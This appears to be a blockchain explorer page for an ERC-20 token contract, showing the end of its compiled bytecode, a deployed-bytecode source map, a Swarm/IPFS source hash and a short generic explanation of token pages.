5b600181811c90821680611ee757607f821691505b602082108103611f0757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f5457600080fd5b815161097581611df8565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611faf57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761090b5761090b611fc8565b60008261201257634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561090b5761090b611fc8565b8181038181111561090b5761090b611fc8565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561208c5781516001600160a01b031687529582019590820190600101612067565b509495945050505050565b85815284602082015260a0604082015260006120b660a0830186612053565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120ec6040830184612053565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220407f61cfb2e9973e037ca81cc06941d420dbc894be7819105369927caab4d96564736f6c63430008110033

Deployed Bytecode Sourcemap

11571:12746:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14925:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11827:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;731:32:1;;;713:51;;701:2;686:18;11827:81:0;567:203:1;16091:161:0;;;;;;;;;;-1:-1:-1;16091:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;16091:161:0;1231:187:1;11658:41:0;;;;;;;;;;-1:-1:-1;11658:41:0;;;;-1:-1:-1;;;;;11658:41:0;;;15202:100;;;;;;;;;;-1:-1:-1;15282:12:0;;15202:100;;;1803:25:1;;;1791:2;1776:18;15202:100:0;1657:177:1;13087:35:0;;;;;;;;;;;;;;;;17123:313;;;;;;;;;;-1:-1:-1;17123:313:0;;;;;:::i;:::-;;:::i;11739:81::-;;;;;;;;;;;;;;;16605:156;;;;;;;;;;;;;:::i;15111:83::-;;;;;;;;;;-1:-1:-1;15177:9:0;;15111:83;;15177:9;;;;2442:36:1;;2430:2;2415:18;15111:83:0;2300:184:1;15588:218:0;;;;;;;;;;-1:-1:-1;15588:218:0;;;;;:::i;:::-;;:::i;12310:45::-;;;;;;;;;;-1:-1:-1;12310:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13384:40;;;;;;;;;;-1:-1:-1;13384:40:0;;;;;;;;;;;13483:26;;;;;;;;;;-1:-1:-1;13483:26:0;;;;;;;;;;;13221:36;;;;;;;;;;;;;;;;12253:50;;;;;;;;;;-1:-1:-1;12253:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;22974:135;;;;;;;;;;;;;:::i;:::-;;12096:55;;;;;;;;;;-1:-1:-1;12096:55:0;;;;-1:-1:-1;;;;;12096:55:0;;;22129:741;;;:::i;12736:66::-;;;;;;;;;;;;;;;;15310:119;;;;;;;;;;-1:-1:-1;15310:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15403:18:0;15376:7;15403:18;;;:9;:18;;;;;;;15310:119;11082:230;;;;;;;;;;;;;:::i;12667:61::-;;;;;;;;;;;;;;;;12961:33;;;;;;;;;;;;;;;;22878:88;;;;;;;;;;;;;:::i;13336:41::-;;;;;;;;;;-1:-1:-1;13336:41:0;;;;;;;;;;;13135:36;;;;;;;;;;;;;;;;12542:48;;;;;;;;;;-1:-1:-1;12542:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10857:79;;;;;;;;;;-1:-1:-1;10895:7:0;10922:6;-1:-1:-1;;;;;10922:6:0;10857:79;;12158:86;;;;;;;;;;-1:-1:-1;12158:86:0;;;;-1:-1:-1;;;;;12158:86:0;;;15016:87;;;;;;;;;;;;;:::i;12057:32::-;;;;;;;;;;-1:-1:-1;12057:32:0;;;;;;;-1:-1:-1;;;;;12057:32:0;;;15814:269;;;;;;;;;;-1:-1:-1;15814:269:0;;;;;:::i;:::-;;:::i;12811:68::-;;;;;;;;;;;;;;;;11706:26;;;;;;;;;;-1:-1:-1;11706:26:0;;;;-1:-1:-1;;;;;11706:26:0;;;16911:167;;;;;;;;;;-1:-1:-1;16911:167:0;;;;;:::i;:::-;;:::i;13045:35::-;;;;;;;;;;;;;;;;13178:36;;;;;;;;;;;;;;;;12483:52;;;;;;;;;;-1:-1:-1;12483:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13431:45;;;;;;;;;;-1:-1:-1;13431:45:0;;;;;;;;;;;13003:35;;;;;;;;;;;;;;;;15437:143;;;;;;;;;;-1:-1:-1;15437:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15545:18:0;;;15518:7;15545:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15437:143;12922:32;;;;;;;;;;;;;;;;11320:244;;;;;;;;;;-1:-1:-1;11320:244:0;;;;;:::i;:::-;;:::i;12888:27::-;;;;;;;;;;;;;;;;13294:35;;;;;;;;;;-1:-1:-1;13294:35:0;;;;;;;;;;;14925:83;14962:13;14995:5;14988:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14925:83;:::o;16091:161::-;16166:4;16183:39;331:10;16206:7;16215:6;16183:8;:39::i;:::-;-1:-1:-1;16240:4:0;16091:161;;;;;:::o;17123:313::-;17221:4;17238:36;17248:6;17256:9;17267:6;17238:9;:36::i;:::-;-1:-1:-1;17285:121:0;17294:6;331:10;17316:89;17354:6;17316:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17316:19:0;;;;;;:11;:19;;;;;;;;331:10;17316:33;;;;;;;;;;:37;:89::i;:::-;17285:8;:121::i;:::-;-1:-1:-1;17424:4:0;17123:313;;;;;;:::o;16605:156::-;-1:-1:-1;;;;;16740:11:0;15403:18;16658:7;15403:18;;;:9;:18;;;;;;16685:68;;:40;16702:22;16712:11;-1:-1:-1;;;;;15403:18:0;15376:7;15403:18;;;:9;:18;;;;;;;15310:119;16702:22;16685:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;16678:75;;16605:156;:::o;15588:218::-;331:10;15676:4;15725:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15725:34:0;;;;;;;;;;15676:4;;15693:83;;15716:7;;15725:50;;15764:10;15725:38;:50::i;22974:135::-;10991:6;;-1:-1:-1;;;;;10991:6:0;331:10;10991:22;10983:67;;;;-1:-1:-1;;;10983:67:0;;;;;;;:::i;:::-;;;;;;;;;23047:12:::1;::::0;23032::::1;:27:::0;;;23070:16:::1;:31:::0;22974:135::o;22129:741::-;10991:6;;-1:-1:-1;;;;;10991:6:0;331:10;10991:22;10983:67;;;;-1:-1:-1;;;10983:67:0;;;;;;;:::i;:::-;22194:35:::1;22251:42;22194:100;;22338:16;-1:-1:-1::0;;;;;22338:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22320:56:0::1;;22385:4;22392:16;-1:-1:-1::0;;;;;22392:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22320:96;::::0;-1:-1:-1;;;;;;22320:96:0::1;::::0;;;;;;-1:-1:-1;;;;;4590:15:1;;;22320:96:0::1;::::0;::::1;4572:34:1::0;4642:15;;4622:18;;;4615:43;4507:18;;22320:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22306:11;:110:::0;;-1:-1:-1;;;;;22306:110:0;;::::1;-1:-1:-1::0;;;;;;22306:110:0;;::::1;;::::0;;-1:-1:-1;22427:34:0;;;;::::1;::::0;::::1;::::0;::::1;::::0;;22492:4:::1;-1:-1:-1::0;22472:26:0;;;:11:::1;:26;::::0;;;;;;;:52;;;;;;;;;-1:-1:-1;;22472:66:0;;22564:11;;;::::1;22551:25:::0;;:12:::1;:25:::0;;;;;:32;;-1:-1:-1;;22551:32:0;;::::1;::::0;::::1;::::0;;;22614:11;;;::::1;22594:32:::0;;:19:::1;:32:::0;;;;;:39;;;::::1;::::0;::::1;::::0;;22660:11;;;::::1;22644:28:::0;;:15:::1;:28:::0;;;;;:35;;;;::::1;::::0;::::1;::::0;;;22692:17:::1;:39:::0;;22720:10:::1;22306:110;22692:39:::0;::::1;-1:-1:-1::0;;;;;;22692:39:0;;::::1;::::0;;;::::1;::::0;;;22742:15;;15403:18;;;:9;:18;;;;;;;22742:120;;-1:-1:-1;;;22742:120:0;;:15;;;::::1;::::0;:31:::1;::::0;22781:9:::1;::::0;22742:120:::1;::::0;15403:18;;-1:-1:-1;;;22720:10:0;22846:15:::1;::::0;22742:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22183:687;22129:741::o:0;11082:230::-;10991:6;;-1:-1:-1;;;;;10991:6:0;331:10;10991:22;10983:67;;;;-1:-1:-1;;;10983:67:0;;;;;;;:::i;:::-;11173:6:::1;::::0;;11152:81:::1;::::0;11189:42:::1;::::0;-1:-1:-1;;;;;11173:6:0;;::::1;::::0;11152:81:::1;::::0;::::1;11244:6;:60:::0;;-1:-1:-1;;;;;;11244:60:0::1;11261:42;11244:60;::::0;;11082:230::o;22878:88::-;10991:6;;-1:-1:-1;;;;;10991:6:0;331:10;10991:22;10983:67;;;;-1:-1:-1;;;10983:67:0;;;;;;;:::i;:::-;22937:14:::1;:21:::0;;-1:-1:-1;;22937:21:0::1;::::0;::::1;::::0;;22878:88::o;15016:87::-;15055:13;15088:7;15081:14;;;;;:::i;15814:269::-;15907:4;15924:129;331:10;15947:7;15956:96;15995:15;15956:96;;;;;;;;;;;;;;;;;331:10;15956:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15956:34:0;;;;;;;;;;;;:38;:96::i;16911:167::-;16989:4;17006:42;331:10;17030:9;17041:6;17006:9;:42::i;11320:244::-;10991:6;;-1:-1:-1;;;;;10991:6:0;331:10;10991:22;10983:67;;;;-1:-1:-1;;;10983:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11409:22:0;::::1;11401:73;;;::::0;-1:-1:-1;;;11401:73:0;;5794:2:1;11401:73:0::1;::::0;::::1;5776:21:1::0;5833:2;5813:18;;;5806:30;5872:34;5852:18;;;5845:62;-1:-1:-1;;;5923:18:1;;;5916:36;5969:19;;11401:73:0::1;5592:402:1::0;11401:73:0::1;11511:6;::::0;;11490:38:::1;::::0;-1:-1:-1;;;;;11490:38:0;;::::1;::::0;11511:6;::::1;::::0;11490:38:::1;::::0;::::1;11539:6;:17:::0;;-1:-1:-1;;;;;;11539:17:0::1;-1:-1:-1::0;;;;;11539:17:0;;;::::1;::::0;;;::::1;::::0;;11320:244::o;1031:250::-;1089:7;1113:1;1118;1113:6;1109:47;;-1:-1:-1;1143:1:0;1136:8;;1109:47;1168:9;1180:5;1184:1;1180;:5;:::i;:::-;1168:17;-1:-1:-1;1213:1:0;1204:5;1208:1;1168:17;1204:5;:::i;:::-;:10;1196:56;;;;-1:-1:-1;;;1196:56:0;;6728:2:1;1196:56:0;;;6710:21:1;6767:2;6747:18;;;6740:30;6806:34;6786:18;;;6779:62;-1:-1:-1;;;6857:18:1;;;6850:31;6898:19;;1196:56:0;6526:397:1;1289:132:0;1347:7;1374:39;1378:1;1381;1374:39;;;;;;;;;;;;;;;;;:3;:39::i;498:181::-;556:7;;588:5;592:1;588;:5;:::i;:::-;576:17;;617:1;612;:6;;604:46;;;;-1:-1:-1;;;604:46:0;;7260:2:1;604:46:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:29;7318:18;;;7311:57;7385:18;;604:46:0;7058:351:1;16260:337:0;-1:-1:-1;;;;;16353:19:0;;16345:68;;;;-1:-1:-1;;;16345:68:0;;7616:2:1;16345:68:0;;;7598:21:1;7655:2;7635:18;;;7628:30;7694:34;7674:18;;;7667:62;-1:-1:-1;;;7745:18:1;;;7738:34;7789:19;;16345:68:0;7414:400:1;16345:68:0;-1:-1:-1;;;;;16432:21:0;;16424:68;;;;-1:-1:-1;;;16424:68:0;;8021:2:1;16424:68:0;;;8003:21:1;8060:2;8040:18;;;8033:30;8099:34;8079:18;;;8072:62;-1:-1:-1;;;8150:18:1;;;8143:32;8192:19;;16424:68:0;7819:398:1;16424:68:0;-1:-1:-1;;;;;16505:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16557:32;;1803:25:1;;;16557:32:0;;1776:18:1;16557:32:0;;;;;;;16260:337;;;:::o;19177:1934::-;19264:4;-1:-1:-1;;;;;19289:20:0;;19281:70;;;;-1:-1:-1;;;19281:70:0;;8424:2:1;19281:70:0;;;8406:21:1;8463:2;8443:18;;;8436:30;8502:34;8482:18;;;8475:62;-1:-1:-1;;;8553:18:1;;;8546:35;8598:19;;19281:70:0;8222:401:1;19281:70:0;-1:-1:-1;;;;;19370:23:0;;19362:71;;;;-1:-1:-1;;;19362:71:0;;8830:2:1;19362:71:0;;;8812:21:1;8869:2;8849:18;;;8842:30;8908:34;8888:18;;;8881:62;-1:-1:-1;;;8959:18:1;;;8952:33;9002:19;;19362:71:0;8628:399:1;19362:71:0;-1:-1:-1;;;;;19451:25:0;;;;;;:17;:25;;;;;;;;19450:26;:59;;;;-1:-1:-1;;;;;;19481:28:0;;;;;;:17;:28;;;;;;;;19480:29;19450:59;19446:138;;;19534:14;;;;;;;19526:46;;;;-1:-1:-1;;;19526:46:0;;9234:2:1;19526:46:0;;;9216:21:1;9273:2;9253:18;;;9246:30;-1:-1:-1;;;9292:18:1;;;9285:49;9351:18;;19526:46:0;9032:343:1;19526:46:0;-1:-1:-1;;;;;19599:25:0;;;;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;19628:28:0;;;;;;:17;:28;;;;;;;;19599:57;19596:1508;;;19681:86;19696:6;19704:9;19715:6;19723:31;19736:6;19744:9;19723:12;:31::i;:::-;:43;;19760:6;19681:14;:86::i;19723:43::-;19756:1;19681:14;:86::i;:::-;19674:93;;;;19596:1508;-1:-1:-1;;;;;19807:23:0;;;;;;:15;:23;;;;;;;;19806:24;:55;;;;-1:-1:-1;;;;;;19835:26:0;;;;;;:15;:26;;;;;;;;19834:27;19806:55;:81;;;;-1:-1:-1;19865:22:0;;;;;;;19806:81;19803:196;;;19926:12;;19916:6;:22;;19908:75;;;;-1:-1:-1;;;19908:75:0;;9582:2:1;19908:75:0;;;9564:21:1;9621:2;9601:18;;;9594:30;9660:34;9640:18;;;9633:62;-1:-1:-1;;;9711:18:1;;;9704:38;9759:19;;19908:75:0;9380:404:1;19908:75:0;20064:4;20015:28;15403:18;;;:9;:18;;;;;;20140:20;;20116:44;;;;;;;20181;;-1:-1:-1;20209:16:0;;;;20208:17;20181:44;:69;;;;-1:-1:-1;;;;;;20230:20:0;;;;;;:12;:20;;;;;;;;20229:21;20181:69;:94;;;;-1:-1:-1;20254:21:0;;;;;;;20181:94;20177:302;;;20313:25;;;;;;;20310:94;;;20384:20;;20361:43;;20310:94;20423:36;20438:20;20423:14;:36::i;:::-;20515:53;;;;;;;;;;;-1:-1:-1;;;20515:53:0;;;;;;;;-1:-1:-1;;;;;20515:17:0;;-1:-1:-1;20515:17:0;;;:9;:17;;;;;;;;:53;;20537:6;;20515:21;:53::i;:::-;-1:-1:-1;;;;;20495:17:0;;;;;;:9;:17;;;;;;;;:73;;;;20608:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;20637:28:0;;;;;;:17;:28;;;;;;;;20608:57;20607:105;;20678:34;20686:6;20694:9;20705:6;20678:7;:34::i;:::-;20607:105;;;20669:6;20607:105;20732:16;;20585:127;;-1:-1:-1;20732:16:0;;;;;:51;;;;-1:-1:-1;;;;;;20753:30:0;;;;;;:19;:30;;;;;;;;20752:31;20732:51;20729:197;;;20853:16;;20812:37;20837:11;20812:20;20822:9;-1:-1:-1;;;;;15403:18:0;15376:7;15403:18;;;:9;:18;;;;;;;15310:119;20812:20;:24;;:37::i;:::-;:57;;20804:106;;;;-1:-1:-1;;;20804:106:0;;9991:2:1;20804:106:0;;;9973:21:1;10030:2;10010:18;;;10003:30;10069:34;10049:18;;;10042:62;-1:-1:-1;;;10120:18:1;;;10113:35;10165:19;;20804:106:0;9789:401:1;20804:106:0;-1:-1:-1;;;;;20965:20:0;;;;;;:9;:20;;;;;;:37;;20990:11;20965:24;:37::i;:::-;-1:-1:-1;;;;;20942:20:0;;;;;;;:9;:20;;;;;;;:60;;;;21024:40;;;;;;;;;;21052:11;1803:25:1;;1791:2;1776:18;;1657:177;21024:40:0;;;;;;;;21088:4;21081:11;;;;;;;831:192;917:7;953:12;945:6;;;;937:29;;;;-1:-1:-1;;;937:29:0;;;;;;;;:::i;:::-;-1:-1:-1;977:9:0;989:5;993:1;989;:5;:::i;:::-;977:17;831:192;-1:-1:-1;;;;;831:192:0:o;687:136::-;745:7;772:43;776:1;779;772:43;;;;;;;;;;;;;;;;;:3;:43::i;1429:278::-;1515:7;1550:12;1543:5;1535:28;;;;-1:-1:-1;;;1535:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1574:9:0;1586:5;1590:1;1586;:5;:::i;17444:263::-;17561:11;;17524:4;;-1:-1:-1;;;;;17548:24:0;;;17561:11;;17548:24;:65;;;;-1:-1:-1;17604:9:0;;-1:-1:-1;;;;;17594:19:0;;;17604:9;;17594:19;17548:65;:107;;;;-1:-1:-1;;;;;;17635:20:0;;;;17548:107;:151;;;;-1:-1:-1;;;;;;;17677:22:0;;;;17444:263;-1:-1:-1;17444:263:0:o;21739:382::-;21886:54;;;;;;;;;;;-1:-1:-1;;;21886:54:0;;;;;;;;-1:-1:-1;;;;;21886:17:0;;21849:4;21886:17;;;:9;:17;;;;;;;:54;;21908:7;;21886:21;:54::i;:::-;-1:-1:-1;;;;;21866:17:0;;;;;;;:9;:17;;;;;;:74;;;;21974:20;;;;;;;:32;;21999:6;21974:24;:32::i;:::-;-1:-1:-1;;;;;21951:20:0;;;;;;:9;:20;;;;;:55;;;;22012:12;;;22008:32;;22037:3;22026:8;:14;22008:32;22073:9;-1:-1:-1;;;;;22056:35:0;22065:6;-1:-1:-1;;;;;22056:35:0;;22084:6;22056:35;;;;1803:25:1;;1791:2;1776:18;;1657:177;22056:35:0;;;;;;;;-1:-1:-1;22109:4:0;21739:382;;;;;;:::o;17715:1450::-;13920:16;:23;;-1:-1:-1;;13920:23:0;13939:4;13920:23;;;17831:18:::1;::::0;17809:17:::1;::::0;13920:16;;17809:41:::1;::::0;:17;:21:::1;:41::i;:::-;17787:63;;17863:22;17888:39;17909:17;;17888:16;;:20;;:39;;;;:::i;:::-;17863:64;;17938:22;17963:39;17984:17;;17963:16;;:20;;:39;;;;:::i;:::-;17938:64:::0;-1:-1:-1;18101:18:0::1;18122:51;18171:1;18122:44;18154:11:::0;18122:44;:7;18134:14;18122:11:::1;:27::i;:::-;:31:::0;::::1;:44::i;:51::-;18101:72:::0;-1:-1:-1;18184:20:0::1;18207:23;:7:::0;18101:72;18207:11:::1;:23::i;:::-;18184:46:::0;-1:-1:-1;18269:21:0::1;18301:30;18184:46:::0;18301:16:::1;:30::i;:::-;18342:23;18369:41;:21;18395:14:::0;18369:25:::1;:41::i;:::-;18342:68:::0;-1:-1:-1;18423:19:0::1;18445:38;18461:21;:14:::0;18480:1:::1;18461:18;:21::i;:::-;18445:11:::0;;:15:::1;:38::i;:::-;18423:60:::0;-1:-1:-1;18496:26:0::1;18525:59;18582:1;18525:52;18423:60:::0;18525:52;:15;18545:14;18525:19:::1;:35::i;:59::-;18496:88;;18595:26;18624:66;18678:11;18624:49;18644:28;18663:8;;18644:14;:18;;:28;;;;:::i;:::-;18624:15:::0;;:19:::1;:49::i;:66::-;18595:95:::0;-1:-1:-1;18701:26:0::1;18730:63;18595:95:::0;18730:39:::1;:15:::0;18750:18;18730:19:::1;:39::i;:63::-;18701:92:::0;-1:-1:-1;18809:22:0;;18806:102:::1;;18856:10;::::0;18848:48:::1;::::0;-1:-1:-1;;;;;18856:10:0;;::::1;::::0;18848:48;::::1;;;::::0;18877:18;;18856:10:::1;18848:48:::0;18856:10;18848:48;18877:18;18856:10;18848:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;18806:102;18923:22:::0;;18920:101:::1;;18970:9;::::0;18962:47:::1;::::0;-1:-1:-1;;;;;18970:9:0;;::::1;::::0;18962:47;::::1;;;::::0;18990:18;;18970:9:::1;18962:47:::0;18970:9;18962:47;18990:18;18970:9;18962:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;18920:101;19066:1;19045:18;:22;:40;;;;;19084:1;19071:10;:14;19045:40;19042:116;;;19102:44;19115:10;19127:18;19102:12;:44::i;:::-;-1:-1:-1::0;;13966:16:0;:24;;-1:-1:-1;;13966:24:0;;;-1:-1:-1;;;;;;;;;;17715:1450:0:o;21119:612::-;-1:-1:-1;;;;;21270:20:0;;21205:7;21270:20;;;:12;:20;;;;;;21205:7;;21270:20;;21267:223;;;21319:38;21353:3;21319:29;21330:17;;21319:6;:10;;:29;;;;:::i;:38::-;21307:50;;21267:223;;;-1:-1:-1;;;;;21387:23:0;;;;;;:12;:23;;;;;;;;21384:106;;;21439:39;21474:3;21439:30;21450:18;;21439:6;:10;;:30;;;;:::i;:39::-;21427:51;;21384:106;21513:13;;21510:173;;21588:4;21570:24;;;;:9;:24;;;;;;:39;;21599:9;21570:28;:39::i;:::-;21561:4;21543:24;;;;:9;:24;;;;;;;:66;;;;21629:42;;-1:-1:-1;;;;;21629:42:0;;;;;;;21661:9;1803:25:1;;1791:2;1776:18;;1657:177;21629:42:0;;;;;;;;21510:173;21702:21;:6;21713:9;21702:10;:21::i;23117:666::-;23267:16;;;23281:1;23267:16;;;;;;;;23243:21;;23267:16;;;;;;;;;;-1:-1:-1;23267:16:0;23243:40;;23312:4;23294;23299:1;23294:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23294:23:0;;;:7;;;;;;;;;;:23;;;;23338:15;;:22;;;-1:-1:-1;;;23338:22:0;;;;:15;;;;;:20;;:22;;;;;23294:7;;23338:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23328:4;23333:1;23328:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23328:32:0;;;:7;;;;;;;;;:32;23405:15;;23373:62;;23390:4;;23405:15;23423:11;23373:8;:62::i;:::-;23474:15;;:240;;-1:-1:-1;;;23474:240:0;;-1:-1:-1;;;;;23474:15:0;;;;:66;;:240;;23555:11;;23474:15;;23625:4;;23652;;23688:15;;23474:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23740:35;23757:11;23770:4;23740:35;;;;;;;:::i;:::-;;;;;;;;23172:611;23117:666;:::o;23791:523::-;23971:15;;23939:62;;23956:4;;-1:-1:-1;;;;;23971:15:0;23989:11;23939:8;:62::i;:::-;24044:15;;24248:17;;24044:262;;-1:-1:-1;;;24044:262:0;;-1:-1:-1;;;;;24044:15:0;;;;:31;;24083:9;;24044:262;;24116:4;;24136:11;;24044:15;;;;;24248:17;;;;24280:15;;24044:262;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;23791:523;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1839:456::-;1916:6;1924;1932;1985:2;1973:9;1964:7;1960:23;1956:32;1953:52;;;2001:1;1998;1991:12;1953:52;2040:9;2027:23;2059:31;2084:5;2059:31;:::i;:::-;2109:5;-1:-1:-1;2166:2:1;2151:18;;2138:32;2179:33;2138:32;2179:33;:::i;:::-;1839:456;;2231:7;;-1:-1:-1;;;2285:2:1;2270:18;;;;2257:32;;1839:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2965:388::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3149:9;3136:23;3168:31;3193:5;3168:31;:::i;:::-;3218:5;-1:-1:-1;3275:2:1;3260:18;;3247:32;3288:33;3247:32;3288:33;:::i;:::-;3340:7;3330:17;;;2965:388;;;;;:::o;3358:380::-;3437:1;3433:12;;;;3480;;;3501:61;;3555:4;3547:6;3543:17;3533:27;;3501:61;3608:2;3600:6;3597:14;3577:18;3574:38;3571:161;;3654:10;3649:3;3645:20;3642:1;3635:31;3689:4;3686:1;3679:15;3717:4;3714:1;3707:15;3571:161;;3358:380;;;:::o;3743:356::-;3945:2;3927:21;;;3964:18;;;3957:30;4023:34;4018:2;4003:18;;3996:62;4090:2;4075:18;;3743:356::o;4104:251::-;4174:6;4227:2;4215:9;4206:7;4202:23;4198:32;4195:52;;;4243:1;4240;4233:12;4195:52;4275:9;4269:16;4294:31;4319:5;4294:31;:::i;4669:607::-;-1:-1:-1;;;;;5028:15:1;;;5010:34;;5075:2;5060:18;;5053:34;;;;5118:2;5103:18;;5096:34;;;;5161:2;5146:18;;5139:34;;;;5210:15;;;5204:3;5189:19;;5182:44;4990:3;5242:19;;5235:35;;;;4959:3;4944:19;;4669:607::o;5281:306::-;5369:6;5377;5385;5438:2;5426:9;5417:7;5413:23;5409:32;5406:52;;;5454:1;5451;5444:12;5406:52;5483:9;5477:16;5467:26;;5533:2;5522:9;5518:18;5512:25;5502:35;;5577:2;5566:9;5562:18;5556:25;5546:35;;5281:306;;;;;:::o;5999:127::-;6060:10;6055:3;6051:20;6048:1;6041:31;6091:4;6088:1;6081:15;6115:4;6112:1;6105:15;6131:168;6204:9;;;6235;;6252:15;;;6246:22;;6232:37;6222:71;;6273:18;;:::i;6304:217::-;6344:1;6370;6360:132;;6414:10;6409:3;6405:20;6402:1;6395:31;6449:4;6446:1;6439:15;6477:4;6474:1;6467:15;6360:132;-1:-1:-1;6506:9:1;;6304:217::o;6928:125::-;6993:9;;;7014:10;;;7011:36;;;7027:18;;:::i;10195:128::-;10262:9;;;10283:11;;;10280:37;;;10297:18;;:::i;10460:127::-;10521:10;10516:3;10512:20;10509:1;10502:31;10552:4;10549:1;10542:15;10576:4;10573:1;10566:15;10592:461;10645:3;10683:5;10677:12;10710:6;10705:3;10698:19;10736:4;10765:2;10760:3;10756:12;10749:19;;10802:2;10795:5;10791:14;10823:1;10833:195;10847:6;10844:1;10841:13;10833:195;;;10912:13;;-1:-1:-1;;;;;10908:39:1;10896:52;;10968:12;;;;11003:15;;;;10944:1;10862:9;10833:195;;;-1:-1:-1;11044:3:1;;10592:461;-1:-1:-1;;;;;10592:461:1:o;11058:582::-;11357:6;11346:9;11339:25;11400:6;11395:2;11384:9;11380:18;11373:34;11443:3;11438:2;11427:9;11423:18;11416:31;11320:4;11464:57;11516:3;11505:9;11501:19;11493:6;11464:57;:::i;:::-;-1:-1:-1;;;;;11557:32:1;;;;11552:2;11537:18;;11530:60;-1:-1:-1;11621:3:1;11606:19;11599:35;11456:65;11058:582;-1:-1:-1;;;11058:582:1:o;11645:332::-;11852:6;11841:9;11834:25;11895:2;11890;11879:9;11875:18;11868:30;11815:4;11915:56;11967:2;11956:9;11952:18;11944:6;11915:56;:::i;:::-;11907:64;11645:332;-1:-1:-1;;;;11645:332:1:o

Swarm Source

ipfs://407f61cfb2e9973e037ca81cc06941d420dbc894be7819105369927caab4d965
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.